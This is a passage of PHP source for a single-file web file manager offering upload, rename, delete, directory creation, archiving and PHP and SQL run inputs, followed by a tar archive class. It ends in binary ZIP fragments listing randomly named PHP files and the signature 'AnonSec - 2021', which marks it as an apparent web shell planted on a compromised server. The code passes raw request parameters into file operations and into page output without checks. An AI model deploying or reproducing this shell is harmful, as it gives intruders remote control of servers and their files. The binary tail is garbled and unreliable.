        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK�Lm\��Ǵq7q7	oiq2p.phpnu�[���PK�Lm\o�e�*�*�	�7bepyo.phpnu�[���PK�Lm\��T:�L�L	
iwdxk.phpnu�[���PK�Lm\�k�?�?�	>Ut7h4d.phpnu�[���PK�Lm\�U��S�S�	�hpmo7.phpnu�[���PK�Lm\�'�nn	B�index.phpnu�[���PK�Lm\�(C$�*�*	��nbixv.phpnu�[���PK�Lm\Q��0,0,	��95r6k.phpnu�[���PK�Lm\�dz�1�1�	b!q1gfm.phpnu�[���PK�Lm\�k�?�?��	t7h4d-20260307210240.phpnu�[���PK�Lm\�d��o�o�	S�	9gvid.phpnu�[���PK�Lm\���7�5�5	�q
vf6tc.phpnu�[���PK{ �

AnonSec - 2021